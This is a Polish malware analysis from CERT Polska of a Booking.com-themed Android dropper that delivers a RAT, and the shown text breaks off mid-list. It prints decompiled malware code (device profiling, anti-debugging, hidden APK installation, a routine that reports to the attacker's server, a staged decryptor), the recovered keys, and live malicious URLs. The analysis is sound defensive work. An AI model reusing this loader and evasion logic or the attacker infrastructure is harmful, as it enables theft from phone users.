Zespół CERT Polska przeanalizował próbkę złośliwego oprogramowania na Androida, dystrybuowaną z wykorzystaniem infrastruktury podszywającej się pod Booking.com. Na potrzeby tej analizy nazwaliśmy ją cifrat (nazwa od pakietu io.cifnzm.utility67pu oraz funkcjonalności RAT-a), ponieważ na moment opracowania materiału nie udało się jej wiarygodnie powiązać z żadną znaną rodziną malware.
Analizowana próbka była dystrybuowana za pomocą wiadomości phishingowych prowadzących do fałszywej strony aktualizacji aplikacji Booking Pulse i pobrania złośliwego pliku APK. Widoczna dla ofiary aplikacja była jedynie początkiem całej ścieżki infekcji. Analiza statyczna i dynamiczna pokazały, że pobrany plik APK jest wieloetapowym dropperem, który rozpakowuje drugi plik APK, następnie ukryty końcowy moduł, a ostatecznie uruchamia RAT wykorzystujący usługi ułatwień dostępu i komunikujący się przez WebSocket.
Podstawowe informacje
Łańcuch infekcji rozpoczyna się od wiadomości phishingowej. Ofiara jest nakłaniana do kliknięcia odnośnika, który przekierowuje najpierw do:
https://share.google/Yc9fcYQCgnKxNfRmH
a następnie do:
https://booking.interaction.lat/starting/
Końcowa strona podszywa się pod komunikat bezpieczeństwa/aktualizacji Booking.com i oferuje pobranie złośliwego pliku:
com.pulsebookmanager.helper.apk-d408588683b4e66bfe0b5bb557999844fe52d1bfbda6836a48e15290082a5d42
Pobrana aplikacja pełni rolę zewnętrznego droppera. Po instalacji ładuje bibliotekę natywną, odszyfrowuje kolejny osadzony plik APK podszywający się pod Google Play Services, a ten drugi etap odszyfrowuje jeszcze jeden ukryty moduł. Finalnie odzyskany payload to pełnoprawny RAT z nadużyciem ułatwień dostępu, nakładkami phishingowymi, dostępem do SMS-ów, strumieniowaniem ekranu, obsługą kamery, zdalnymi gestami i tunelem SOCKS5.
Przebieg infekcji
Przebieg infekcji odtworzony z perspektywy ofiary wygląda następująco.
Ofiara otrzymuje wiadomość phishingową. Wiadomość wykorzystuje socjotechnikę, aby skłonić odbiorcę do kliknięcia odnośnika osadzonego w jej treści.
Kliknięcie odnośnika przekierowuje ofiarę przez share.google/Yc9fcYQCgnKxNfRmH do booking.interaction.lat/starting/. Na tej stronie użytkownik widzi fałszywy komunikat Booking.com o konieczności aktualizacji zabezpieczeń. Naciśnięcie przycisku Aktualizuj teraz powoduje pobranie pliku com.pulsebookmanager.helper.apk. Pobrana aplikacja podszywa się pod Booking Pulse:

Po instalacji aplikacja nie ujawnia od razu docelowego szkodliwego działania. Zamiast tego działa jako powłoka dostarczająca kolejne etapy. Ładuje dekoder w obrębie natywnej biblioteki, odszyfrowuje osadzony drugi etap i instaluje go pod pakietem io.cifnzm.utility67pu, opisanym jako Google Play Services.
Ten drugi etap również nie jest finalnym payloadem. Jego klasa Application wydobywa kolejny ukryty zasób o nazwie FH.svg, odszyfrowuje go, traktuje wynik jako archiwum ZIP, ładuje z niego ukryte pliki dex i dopiero wtedy przekazuje wykonanie do właściwego modułu złośliwego oprogramowania.
Na tym etapie malware staje się w pełni funkcjonalnym RAT-em. Odzyskany finalny wsad zawiera obsługę strumieniowania ekranu, keylogging, HTML injection, zbieranie SMS-ów, obsługę kamery, zdalne gesty, manipulację urządzeniem i dwukanałową komunikację WebSocket z serwerem C2 otptrade.world.
Co przyniosła analiza próbki?
- Pobrany pakiet APK to
com.pulsebookmanager.helper, z etykietąPulse. - Zewnętrzny APK zrzuca i ładuje bibliotekę natywną
l0a0cac5c.so. - Ta biblioteka natywna dekoduje ukryte stringi i kontroluje dalszy przebieg instalacji.
- Zewnętrzny APK odszyfrowuje
res/raw/init_bundle_uzge.binprzy użyciu 32-bajtowego klucza XOR i instaluje wynik jakoio.cifnzm.utility67pu. - Zainstalowany drugi etap jest opisany jako
Google Play Services. - Drugi etap wydobywa ukryty zasób
FH.svg. FH.svgjest odszyfrowywany algorytmem podobnym do RC4 z kluczemmLYQ.- Odszyfrowany blob zawiera finalne pliki dex.
- Końcowy moduł złośliwego oprogramowania komunikuje się z
otptrade.worldprzez rozdzielone kanały control/data oparte na WebSocket.
Jak się chronić?
- Pobieraj aplikacje wyłącznie z oficjalnych sklepów, takich jak Google Play Store lub App Store.
- Traktuj każdą aktualizację aplikacji dostarczaną ze strony WWW jako podejrzaną, szczególnie jeśli wymaga ręcznej instalacji pliku APK.
- Jeśli po instalacji z nieznanego źródła aplikacja prosi o dostęp do usług ułatwień dostępu, nagrywania ekranu, nasłuchu powiadomień lub nakładek ekranowych, należy potraktować to jako krytyczny sygnał ostrzegawczy.
Analiza techniczna
Każda aplikacja na Androida posiada plik AndroidManifest.xml. W tej próbce już sam manifest pokazuje, że pobrany plik APK wykorzystujący wizerunek Booking.com nie jest zwykłą samodzielną aplikacją. Jeszcze przed dekompilacją kodu manifest ujawnia konstrukcję typową dla stage installera: aplikacja prosi o uprawnienia do sideloadingu, jawnie oczekuje istnienia kolejnego pakietu, używa niestandardowej klasy Application do wczesnego bootstrapu i monitoruje zdarzenia związane z instalacją pakietów.
Analiza AndroidManifest.xml
Pierwszym użytecznym wskaźnikiem jest manifest zewnętrznego APK. Nawet bez dekompilacji kodu Java widać w nim aplikację ukierunkowaną na instalację kolejnego pakietu i monitorowanie postępu tego procesu.
<uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES"/>
<uses-permission android:name="android.permission.INTERNET"/>
<queries>
<intent>
<action android:name="android.intent.action.MAIN"/>
</intent>
<package android:name="io.cifnzm.utility67pu"/>
</queries>
<application android:allowBackup="true" android:dataExtractionRules="@xml/data_extraction_rules" android:extractNativeLibs="true" android:fullBackupContent="@xml/backup_rules" android:hardwareAccelerated="true" android:icon="@mipmap/ic_launcher" android:label="Pulse" android:largeHeap="true" android:name="v0a0cac5c.l0a0cac5c" android:networkSecurityConfig="@xml/network_security_config" android:requestLegacyExternalStorage="true" android:roundIcon="@mipmap/ic_launcher" android:supportsRtl="true" android:theme="@style/AppTheme.NoActionBar">
<activity android:configChanges="keyboardHidden|orientation|screenSize" android:exported="true" android:hardwareAccelerated="true" android:launchMode="singleTop" android:name="com.pulsebookmanager.helper.hasideq.vufez.BaseActionHandler6ut" android:theme="@style/AppTheme.NoActionBar" android:windowSoftInputMode="adjustResize">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
<receiver android:directBootAware="true" android:enabled="true" android:exported="true" android:name="com.pulsebookmanager.helper.hasideq.vufez.AppTaskLoaderdu2">
<intent-filter>
<action android:name="com.pulsebookmanager.helper.RESULT_PPVALVLX"/>
<action android:name="android.intent.action.PACKAGE_ADDED"/>
<action android:name="android.intent.action.PACKAGE_REPLACED"/>
<data android:scheme="package"/>
</intent-filter>
</receiver>
Już na tym etapie widać kilka istotnych rzeczy:
REQUEST_INSTALL_PACKAGESoznacza, że zewnętrzny APK ma instalować inną aplikację.- Blok
<queries>jawnie wskazuje naio.cifnzm.utility67pu, który okazuje się pakietem drugiego etapu. v0a0cac5c.l0a0cac5cto niestandardowa klasaApplication, więc kod bootstrapujący uruchamia się przed logiką głównej aktywności.AppTaskLoaderdu2jest zarejestrowany do obsługi zdarzeń związanych z instalacją pakietów, co jest typowe dla droppera, który chce śledzić i natychmiast uruchamiać zainstalowany payload.
Dalej w manifeście widać również żądanie uprawnień RECEIVE_BOOT_COMPLETED, QUERY_ALL_PACKAGES, MANAGE_EXTERNAL_STORAGE, REQUEST_DELETE_PACKAGES i PACKAGE_USAGE_STATS. Taki zestaw jest nieproporcjonalny do aplikacji powiązanej z Booking.com, ale spójny z dropperem, który potrzebuje szerokiego wglądu w pakiety, kontroli nad instalacją oraz opcji persystencji po instalacji.
Do tego dochodzą zaszyte zasoby tekstowe, które pokazują, że widoczna aplikacja pełni raczej rolę pośrednika instalacyjnego niż normalnej aplikacji Booking.com:
<string name="app_name">Pulse</string>
<string name="s_bpetbn">Please complete the installation to continue</string>
<string name="s_rqkzlj">Installation Permission Required</string>
<string name="s_rtmrf">Secure installation process</string>
<string name="s_vptqsa">Install Software</string>
<string name="s_yxvof">%1$s Installed</string>
Już na poziomie manifestu i zasobów zewnętrzny APK wygląda więc jak powłoka instalacyjna.
Etap 0: aktywność startowa, lokalny WebView i interfejs JavaScript
Zewnętrzna aktywność startowa to BaseActionHandler6ut. Jej zadaniem jest wyświetlenie ofierze fałszywego procesu
aktualizacji, ale implementacja pokazuje, że nie jest to zwykła statyczna strona HTML. Aktywność tworzy WebView, rejestruje interfejs wywołań z poziomu JavaScript i ładuje zdekodowany lokalny zasób:
PemuhehControllerj5b pemuhehControllerj5b = new PemuhehControllerj5b(new v6(this, 0));
WebView webView5 = this.c;
if (webView5 == null) {
webView5 = null;
}
webView5.addJavascriptInterface(pemuhehControllerj5b, m0a0cac5c.F0a0cac5c_11("Qv371914071D2418"));
WebView webView6 = this.c;
if (webView6 == null) {
webView6 = null;
}
webView6.loadUrl(m0a0cac5c.F0a0cac5c_11("oa07090F075F53545508180F1E1A15134D1023241729631C1E231E242B211F1E6E29362E30"));
Po odwróceniu działania natywnego dekodera opartego na JNI wartości te przyjmują postać:
- nazwa interfejsu JavaScript:
Android - początkowo ładowana strona:
file:///android_asset/gfjdkqdca.html
Nie oznacza to jednak, że ofiara widzi wyłącznie lokalną stronę. Lokalny zasób pełni rolę strony bootstrapującej używanej przez zewnętrzny dropper. Równolegle ten sam etap zewnętrzny dekoduje xc.b do https://booking.interaction.lat/update/, przekazuje tę wartość do KokokotProcessorrdy, a ta aktywność ładuje przekazany adres we własnym WebView. Ten sam zdalny motywowany Booking.com adres jest później ponownie wykorzystywany przez etap finalny przez BuildConfig.BASE_URL. W praktyce etap 0 zaczyna się od lokalnego zasobu bootstrapującego, ale widoczny dla użytkownika fałszywy "Booking" to zdalna strona https://booking.interaction.lat/update/.
Interfejs nie jest elementem kosmetycznym. Profiluje urządzenie ofiary i może uruchamiać dalszy proces instalacji:
@JavascriptInterface
public final String get_SYSINFO() {
JSONObject jSONObject = new JSONObject();
int i = Build.VERSION.SDK_INT;
Locale locale = Resources.getSystem().getConfiguration().getLocales().get(0);
String language = locale.getLanguage();
Locale locale2 = Locale.ROOT;
String lowerCase = language.toLowerCase(locale2);
String upperCase = locale.getCountry().toUpperCase(locale2);
jSONObject.put("sdk", i);
jSONObject.put(m0a0cac5c.F0a0cac5c_11("$h05080E1008"), Build.MODEL);
jSONObject.put(m0a0cac5c.F0a0cac5c_11("/459565C44565A5D47494F5B51"), Build.MANUFACTURER);
return jSONObject.toString();
}
@JavascriptInterface
public final void start() {
pm.c(m0a0cac5c.F0a0cac5c_11("bm3D09021B090D0B350A0C232A0E0E0F172F186A22"), m0a0cac5c.F0a0cac5c_11("T>74604A627162525E565328686B5F606A6A2F91636E61676E722967657B696835373F35416E717D80818476827C864C86807E7C92868795818F8A8A"));
this.mainHandler.post(new x2(8, this));
}
Oznacza to, że fałszywa strona Booking.com może jednocześnie zbierać informacje o urządzeniu i przesuwać ofiarę głębiej w łańcuch infekcji.
Etap 1: inicjalizacja w klasie Application i zrzucenie biblioteki natywnej
Właściwa inicjalizacja zaczyna się jeszcze wcześniej, w v0a0cac5c.l0a0cac5c.attachBaseContext(). Ta klasa kopiuje odpowiednią bibliotekę natywną z zasobów APK do prywatnego katalogu i ładuje ją przez System.load():
if (c(context, str)) {
d(context, str, str2, c + j(new byte[]{71, 26, 6}));
System.load(str2 + File.separator + c + j(new byte[]{71, 26, 6}));
} else if (z) {
System.loadLibrary(c + j(new byte[]{54, 17, 81, 95}));
} else {
System.loadLibrary(c);
}
I0a0cac5c_00(context);
APK zawiera cztery warianty architektoniczne:
assets/l0a0cac5c_a32.soassets/l0a0cac5c_a64.soassets/l0a0cac5c_x86.soassets/l0a0cac5c_x64.so
W obserwowanym uruchomieniu wariant x64 został zrzucony do:
/data/user/0/com.pulsebookmanager.helper/files/.ss/l0a0cac5c.so
i załadowany właśnie z tej ścieżki. Zrzut runtime zgadzał się z osadzonym zasobem.
Na tym etapie zewnętrzny APK zrobił już trzy rzeczy:
- zbudował widoczną dla ofiary przynętę,
- załadował bibliotekę natywną pełniącą rolę bootstrapu,
- przekazał kontrolę do JNI jeszcze przed zakończeniem głównego przepływu instalacyjnego.
Analiza natywna: rejestracja JNI i mechanizmy utrudniające analize
Analiza l0a0cac5c_x64.so pokazuje, że biblioteka nie jest biernym pomocnikiem. JNI_OnLoad lokalizuje zobfuskowaną klase dekodera, rejestruje dla niej metody natywne, pobiera ścieżki runtime i wykonuje kontrole utrudniające analizę przed kontynuacją działania.
W zdekompilowanej ścieżce JNI_OnLoad widać:
iVar3 = (**(code **)(*param_1 + 0x30))(param_1,&local_488,0x10002);
if (iVar3 != 0) {
pcVar24 = "JNI_OnLoad could not get JNI env";
goto LAB_00222d67;
}
lVar4 = (**(code **)(*local_488 + 0x30))(local_488,s_m0a0cac5c_002d0750);
if (lVar4 == 0) {
FUN_00221e90("Fail to find class: %s\n",s_m0a0cac5c_002d0750);
return 0xffffffff;
}
iVar3 = (**(code **)(*local_488 + 0x6b8))(local_488,lVar4,&PTR_s_vm_init_002cf610,0xc);
if (iVar3 < 0) {
pcVar24 = "RegisterNatives error";
goto LAB_00222d67;
}
To istotne, ponieważ potwierdza, że częste wywołania m0a0cac5c.F0a0cac5c_11(...) po stronie Java są faktycznie obsługiwane przez natywny dekoder zarejestrowany na starcie procesu.
Ta sama ścieżka JNI_OnLoad odzyskuje też lokalizacje runtime:
lVar5 = (**(code **)(*local_488 + 0x388))(local_488,lVar4,"getPath","()Ljava/lang/String;");
uVar6 = FUN_0021ecd0(local_488,lVar4,lVar5);
pcVar24 = (char *)(**(code **)(*local_488 + 0x548))(local_488,uVar6,0);
DAT_002d2ef0 = strdup(pcVar24);
(**(code **)(*local_488 + 0x550))(local_488,uVar6,pcVar24);
if (DAT_002d2ee9 != '\0') {
lVar5 = (**(code **)(*local_488 + 0x388))
(local_488,lVar4,"getjarPath","()Ljava/lang/String;");
if (((lVar5 == 0) || (lVar4 = FUN_0021ecd0(local_488,lVar4,lVar5), lVar4 == 0)) ||
(pcVar24 = (char *)(**(code **)(*local_488 + 0x548))(local_488,lVar4,0),
pcVar24 == (char *)0x0)) {
pcVar24 = "getjarPath error";
goto LAB_00222d67;
}
DAT_002d2ef8 = strdup(pcVar24);
(**(code **)(*local_488 + 0x550))(local_488,lVar4,pcVar24);
}
oraz sprawdza /proc/self/maps pod kątem obecności libjdwp.so, co wyraźnie wskazuje na obecność mechanizmu utrudniającego debugowanie:
pFVar7 = fopen(local_448,"r");
if (pFVar7 != (FILE *)0x0) {
pcVar24 = fgets((char *)local_438,0x400,pFVar7);
if (pcVar24 == (char *)0x0) {
uVar9 = 0;
}
else {
uVar9 = 0;
do {
pcVar24 = strrchr((char *)local_438,0x2f);
if (pcVar24 != (char *)0x0) {
pcVar8 = strrchr((char *)local_438,10);
if (pcVar8 != (char *)0x0) {
*pcVar8 = '\0';
}
iVar3 = strcmp(pcVar24 + 1,"libjdwp.so");
if (iVar3 == 0) {
pcVar24 = strchr((char *)local_438,0x2d);
*pcVar24 = '\0';
uVar9 = strtoull((char *)local_438,(char **)0x0,0x10);
break;
}
}
pcVar24 = fgets((char *)local_438,0x400,pFVar7);
} while (pcVar24 != (char *)0x0);
}
fclose(pFVar7);
if (uVar9 != 0) {
return 0xffffffff;
}
}
Takie zachowanie natywnej warstwy zgadza się z pozostałymi obserwacjami z próbki:
- dekodowaniem ukrytych stringów,
- obsługą ścieżek runtime,
- mechanizm utrudniający debugowanie,
- mechanizmami wykrywania Fridy i emulatora, widocznymi w odszyfrowanych stringach natywnych.
Odzyskana semantyka natywnego dekodera
Kod Java zewnętrznej warstwy jest wypełniony wywołaniami w rodzaju:
webView5.addJavascriptInterface(pemuhehControllerj5b, m0a0cac5c.F0a0cac5c_11("Qv371914071D2418"));
webView6.loadUrl(m0a0cac5c.F0a0cac5c_11("oa07090F075F53545508180F1E1A15134D1023241729631C1E231E242B211F1E6E29362E30"));
Po analizie natywnego dekodera uzyskaliśmy następującą semantykę:
- pierwszy znak jest ignorowany,
- drugi znak pełni rolę jednobajtowego klucza XOR,
- pozostała część ciągu jest traktowana jako zapis szesnastkowy,
- dla bajtu na pozycji
iwykonywane jest((byte - i) & 0xff) ^ key.
Ten dekoder pozwala odzyskać kluczowe wskaźniki zewnętrznego etapu:
io.cifnzm.utility67puhttps://aplication.digital/receiving/stats/file:///android_asset/gfjdkqdca.htmlhttps://booking.interaction.lat/update/
To moment, w którym zewnętrzny APK przestaje wyglądać jak zwykła fałszywa aplikacja, a zaczyna wyglądać jak rzeczywisty staged loader.
Aby ten etap był reprodukowalny, przygotowaliśmy prosty helper implementujący odzyskany natywny algorytm dekodowania:
def decode_native(s: str) -> str:
if len(s) < 4:
return ""
key = ord(s[1])
body = s[2:]
raw = bytes.fromhex(body)
out = bytearray()
for i, b in enumerate(raw):
out.append(((b - i) & 0xFF) ^ key)
return out.decode("utf-8", errors="replace")
Za pomocą tego helpera zaszyte wartości wykorzystywane przez loader można dekodować w sposób deterministyczny:
python3 decode_native_strings.py \
'Qv371914071D2418' \
'oa07090F075F53545508180F1E1A15134D1023241729631C1E231E242B211F1E6E29362E30'
Qv371914071D2418 => Android
oa07090F075F53545508180F1E1A15134D1023241729631C1E231E242B211F1E6E29362E30 => file:///android_asset/gfjdkqdca.html
Właśnie w ten sposób powstał zestaw odszyfrowanych stałych używanych w dalszej części analizy.
Etap 2: odszyfrowanie kolejnego pakietu przy użyciu XOR i przekazanie do PackageInstaller
Kolejny etap jest przechowywany jako:
res/raw/init_bundle_uzge.bin
Ten punkt jest istotny, ponieważ 32-bajtowy klucz XOR nie jest zapisany w kodzie Java jako jawna stała. Zamiast tego kod Java przekazuje obfuskowany ciąg znaków do natywnego dekodera opartego na JNI, otrzymuje w odpowiedzi 64-znakową wartość szesnastkową, zamienia ją na 32
bajty i dopiero wtedy wykorzystuje je do odszyfrowania init_bundle_uzge.bin. Oznacza to, że materiał kluczowy odzyskiwany jest przez natywną ścieżkę dekodowania, natomiast samo odszyfrowanie pliku etapu 2 metodą XOR odbywa się już w Javie:
public static byte[] F() {
byte[] bArr = new byte[32];
for (int i = 0; i < 64; i += 2) {
String strF0a0cac5c_11 = m0a0cac5c.F0a0cac5c_11("Z@2674747727782B7D2C7A7B7C7D2E338287338336888D38893A3F923C418E934194469A499D9E484D9F999AA4A0A1A0A055AAA7A8A95B59ACAE5DACB462AD5FB7");
bArr[i / 2] = (byte) (Character.digit(strF0a0cac5c_11.charAt(i + 1), 16) + (Character.digit(strF0a0cac5c_11.charAt(i), 16) << 4));
}
return bArr;
}
Odzyskany klucz hex:
f324c3e6d1111ae37b1c48b2bf8ae15b4e8f99bf70094421e9555fc56d29f0a8
Aby zweryfikować ścieżkę rozpakowywania etapu 2 niezależnie od działania aplikacji, przygotowaliśmy również minimalny helper stosujący odzyskany 32-bajtowy klucz XOR do init_bundle_uzge.bin:
from pathlib import Path
src = root / "apktool" / "res" / "raw" / "init_bundle_uzge.bin"
dst = root / "artifacts" / "init_bundle_uzge.dec"
KEY_HEX = "f324c3e6d1111ae37b1c48b2bf8ae15b4e8f99bf70094421e9555fc56d29f0a8"
key = bytes.fromhex(KEY_HEX)
data = src.read_bytes()
out = bytes(b ^ key[i % len(key)] for i, b in enumerate(data))
dst.write_bytes(out)
Uruchomienie tego helpera daje drugi etap w postaci pliku APK, który można dalej rozpakować i zdekompilować:
python3 decrypt_bundle.py
Odszyfrowany wynik jest następnie zapisywany do sesji PackageInstaller:
byte[] bArrP = ig.p(vsVar.a, i, ig.F());
Context context = vsVar.a;
Context context2 = vsVar.a;
PackageInstaller packageInstaller = context.getPackageManager().getPackageInstaller();
int iCreateSession = packageInstaller.createSession(new PackageInstaller.SessionParams(1));
PackageInstaller.Session sessionOpenSession = packageInstaller.openSession(iCreateSession);
String strF0a0cac5c_113 = m0a0cac5c.F0a0cac5c_11("P'44494C0C5B57515B4A4E525358575458565154681D6458626F5B6F247F8587819889938D9288979595");
String str = this.c;
OutputStream outputStreamOpenWrite = sessionOpenSession.openWrite(m0a0cac5c.F0a0cac5c_11("A{0B1B1A131E2124"), 0L, bArrP.length);
outputStreamOpenWrite.write(bArrP);
sessionOpenSession.fsync(outputStreamOpenWrite);
outputStreamOpenWrite.close();
Intent intent = new Intent(context2, (Class<?>) AppTaskLoaderdu2.class);
intent.setAction(strF0a0cac5c_113);
intent.putExtra(m0a0cac5c.F0a0cac5c_11("\\|0C1E211A21201F2A1A261B24"), str);
sessionOpenSession.commit(PendingIntent.getBroadcast(context2, iCreateSession, intent, f30.s()).getIntentSender());
Analiza potwierdziła, że zewnętrzny APK odszyfrowuje i instaluje drugi plik APK:
- pakiet:
io.cifnzm.utility67pu - etykieta:
Google Play Services
Zewnętrzny etap raportuje również przebieg instalacji na odszyfrowany adres raportujący. W analizowanej próbce adres ten nie jest zapisany w postaci jawnego tekstu. Zostaje zainicjalizowany w ad.a przez natywny dekoder oparty na JNI, a następnie przekazany przez JuwekinManager89k.report() jako reportUrl, które ostatecznie trafia do wywołania new URL(this.reportUrl).openConnection(). Odszyfrowaną wartością jest https://aplication.digital/receiving/stats/:
HttpURLConnection httpURLConnection2 = (HttpURLConnection) new URL(this.reportUrl).openConnection();
httpURLConnection2.setRequestMethod(m0a0cac5c.F0a0cac5c_11("R[0B150A12"));
httpURLConnection2.setDoOutput(true);
httpURLConnection2.setDoInput(true);
httpURLConnection2.setUseCaches(false);
httpURLConnection2.setRequestProperty(m0a0cac5c.F0a0cac5c_11("<g24090B16060E19513B27210D"), m0a0cac5c.F0a0cac5c_11("9(49595A4745504F63495050124E68555523195D535D6F7164742E97978A222E"));
httpURLConnection2.setRequestProperty(m0a0cac5c.F0a0cac5c_11("aW163536352B28"), m0a0cac5c.F0a0cac5c_11("~R332324413F36392D43464688442E4B4B"));
httpURLConnection2.setConnectTimeout(10000);
httpURLConnection2.setReadTimeout(10000);
String strQefh = MainContentProcessorjjy.qefh(new byte[]{82, 36, 90, -111, -19, -77, 69, -118, -17, -66, -99, 5, -32, 79, -51}, new byte[]{59, 73, 42, -3, -116, -35, 49, -43, -97, -33, -2, 110, -127, 40, -88});
String str = zc.a;
jSONObject.put(strQefh, zc.a);
jSONObject.put(MainContentProcessorjjy.qefh(new byte[]{16, -121, 17, 82, 113, -109, 124, -41, 104, 75}, new byte[]{117, -15, 116, 60, 5, -52, 8, -82, 24, 46}), this.eventType);
jSONObject.put(m0a0cac5c.F0a0cac5c_11("qU213D3A332A263A3F2D"), System.currentTimeMillis() / ((long) 1000));
Odzyskane nazwy zdarzeń obejmują m.in.:
dropper_openedinstall_startedinstall_completedinstall_failedimplant_launched
Manifest etapu 2
Po rozpakowaniu widać, że io.cifnzm.utility67pu udostępnia już komponenty związane z ułatwieniami dostępu, SMS-ami, uprawnieniami administratora, przechwytywaniem ekranu i kamerą. Jeszcze zanim zostanie rozpakowany ukryty etap FH.svg, manifest drugiego etapu wygląda jednoznacznie złośliwie:
<service
android:name="io.cifnzm.utility67pu.appcontainer.servicehandles.TscTscbltService"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
android:exported="true"
android:foregroundServiceType="specialUse|connectedDevice|dataSync">
<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService"/>
</intent-filter>
<meta-data
android:name="android.accessibilityservice"
android:resource="@xml/accessibility_service_config"/>
</service>
<service
android:name="io.cifnzm.utility67pu.appcontainer.servicehandles.SmsCollectionService"
<receiver
android:name="io.cifnzm.utility67pu.appcontainer.rcv4.SmsReceivedReceiver"
android:permission="android.permission.BROADCAST_SMS"
android:enabled="true"
android:exported="true">
<intent-filter android:priority="999">
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>
<receiver
android:name="io.cifnzm.utility67pu.appcontainer.permissions.DeviceAdminReceiver"
android:permission="android.permission.BIND_DEVICE_ADMIN"
android:exported="true">
<activity
android:name="io.cifnzm.utility67pu.appcontainer.ScreenCaptureRequestActivity"
android:exported="false"/>
<service
android:name="io.cifnzm.utility67pu.appcontainer.ScreenSharingService"
android:enabled="true"
android:exported="false"
android:foregroundServiceType="mediaProjection"/>
<service
android:name="io.cifnzm.utility67pu.appcontainer.VncScreenSharingService"
android:enabled="true"
android:exported="false"
android:foregroundServiceType="specialUse"/>
<service
android:name="io.cifnzm.utility67pu.appcontainer.CameraService"
android:enabled="true"
android:exported="false"
android:foregroundServiceType="camera"/>
Oznacza to, że etap 2 zawiera już strukturalne komponenty modułu złośliwego oprogramowania, a nie nieszkodliwy moduł aktualizacyjny.
Etap 3: ukryty payload FH.svg i rozpakowanie z użyciem algorytmu przypominającego RC4
Najważniejsze rzecz znaleziona podczas analizy polega na tym, że zainstalowany io.cifnzm.utility67pu nadal nie jest finalnym etapem. Jego klasa Application, Cgridthey, wydobywa kolejny ukryty zasób FH.svg i odszyfrowuje go przed uruchomieniem właściwego payloadu.
Kluczowe stałe etapu 3 są widoczne bezpośrednio w kodzie:
public String k = "shrimp";
public String l = "FH.svg";
public String B = "mLYQ";
Procedura deszyfrowania w Cgridthey ma charakter podobny do RC4:
byte[] bytes = this.B.getBytes();
int i7 = this.q;
this.x = 562336 * i7 * this.x;
int i8 = this.p;
int i9 = (951570 * i8) - this.z;
this.x = i9;
int i10 = this.m;
int i11 = this.n;
this.z = (((i10 - 794100) + 794022) - i11) - i11;
int i12 = i9 * 369750 * i8;
this.n = i12;
int i13 = this.w;
this.x = i8 - (436916 * i13);
int i14 = this.i;
int i15 = 120857 * i14 * 743786 * i13;
this.z = i15;
int i16 = i13 * 710192 * 434037 * i14 * i15;
this.z = i16;
int[] iArr = new int[256];
this.q = ((i16 * 918003) * 69410) - (i7 * i10);
this.i = (((i12 - 155490) - 145146) - i10) - i14;
for (int i17 = 0; i17 < 256; i17++) {
iArr[i17] = i17;
}
int i18 = this.i;
int i19 = this.q;
int i20 = this.z;
int i21 = ((586797 * i18) * 967789) - (i19 * i20);
this.p = i21;
this.p = ((i20 - 1844839965) + i21) - i18;
int i22 = 0;
for (int i23 = 0; i23 < 256; i23++) {
i22 = (((i22 + iArr[i23]) + bytes[i23 % bytes.length]) + 256) % 256;
g(i23, i22, iArr);
}
for (int i40 = 0; i40 < bArr.length; i40++) {
int i41 = this.m;
int i42 = this.p;
this.n = 217123 + i41 + 885800 + i42 + i41;
int i43 = this.x;
int i44 = 574525 + i43 + this.w;
this.w = i44;
int i45 = this.z;
int i46 = ((959253 * i45) - 998332) - (this.q * i43);
this.q = i46;
int i47 = (this.s + 1) % 256;
this.s = i47;
if (i46 == 954692) {
this.m = 497340 + i44 + i45;
this.x = i42 + 443791 + 265205 + i44;
this.p = (134507 * i45) - i45;
this.z = (i44 * 349505) + i45 + 766441;
} else if (i46 == 875409) {
this.m = (i42 - 717300) - this.i;
this.n = i42 + 998010 + i44;
} else {
this.m = (i44 + 278880) - (i46 * 681527);
this.z = (i42 * 240077) + 746338 + i43;
this.q = this.i + 679593 + i43;
}
int i48 = this.t;
int[] iArr2 = this.u;
int i49 = (i48 + iArr2[i47]) % 256;
this.t = i49;
int i50 = this.i;
int i51 = (531245 * i50) + (280568 * i50);
this.z = i51;
int i52 = (((this.n - 50200) - 500209) + this.q) - i51;
this.n = i52;
this.p = (i52 * i50) + ((814031 * i50) - 90657);
g(i47, i49, iArr2);
int[] iArr3 = this.u;
bArr2[i40] = (byte) (iArr3[(iArr3[this.s] + iArr3[this.t]) % 256] ^ bArr[i40]);
}
Po deszyfrowaniu wynik jest traktowany jako archiwum i wstrzykiwany do aktywnego class loadera:
File dir = context.getDir(this.k, 0);
String absolutePath2 = new File(absolutePath, this.l).getAbsolutePath();
File file = new File(absolutePath, this.l);
boolean zD = d(absolutePath2, context);
Gdy d(absolutePath2, context) zwraca sukces, zasób jest dodawany do ArrayList i ładowany przez:
arrayList.add(file);
a.d(this.j.getClassLoader(), dir, arrayList);
Następnie wykonanie zostaje przekazane do prawdziwej finalnej aplikacji:
e("io.cifnzm.utility67pu.appcontainer.MainApplication");
Odszyfrowanie FH.svg odzyskuje rzeczywiste ukryte pliki dex. To właśnie ten etap zawiera właściwą logikę RAT-a.
Aby pokazać reprodukowalność tego etapu, odwzorowaliśmy logikę w osobnym helperze i zastosowaliśmy ją bezpośrednio do ukrytego zasobu:
def rc4(data: bytes, key: bytes) -> bytes:
s = list(range(256))
j = 0
for i in range(256):
j = (j + s[i] + key[i % len(key)]) % 256
s[i], s[j] = s[j], s[i]
out = bytearray()
i = 0
j = 0
for b in data:
i = (i + 1) % 256
j = (j + s[i]) % 256
s[i], s[j] = s[j], s[i]
out.append(b ^ s[(s[i] + s[j]) % 256])
return bytes(out)
plain = rc4(asset.read_bytes(), b"mLYQ")
python3 unpack_stage3.py
Wynikiem jest FH.svg.rc4.dec, czyli archiwum ZIP zawierające finalną ukrytą parę dex:
classes.dexclasses2.dex
Uruchomienie końcowego modułu
Nawet na tym etapie aplikacja nadal prezentuje ofierze tę samą widoczną fałszywą strone opartą na motywie Booking.com (używając webview):
public static final String APP_NAME = "Google Play Services";
public static final String BASE_URL = "https://booking.interaction.lat/update/";
jednak jej MainApplication zachowuje się już jak trwały moduł złośliwego oprogramowania:
DualWebSocketProvider.INSTANCE.initialize(mainApplication, true);
DynamicIntentReceiver.INSTANCE.register(mainApplication);
mainApplication.startPersistentServices();
mainApplication.ensureUninstallProtectionReady();
mainApplication.initializeNotificationPersistence();
mainApplication.startServiceHealthMonitoring();
mainApplication.initializeAlarmPersistence();
mainApplication.initializeWebSocketHealthMonitoring();
mainApplication.initializePermissionLossProtection();
W praktyce ważne są tu dwie rzeczy:
- malware od razu uruchamia długotrwałe usługi,
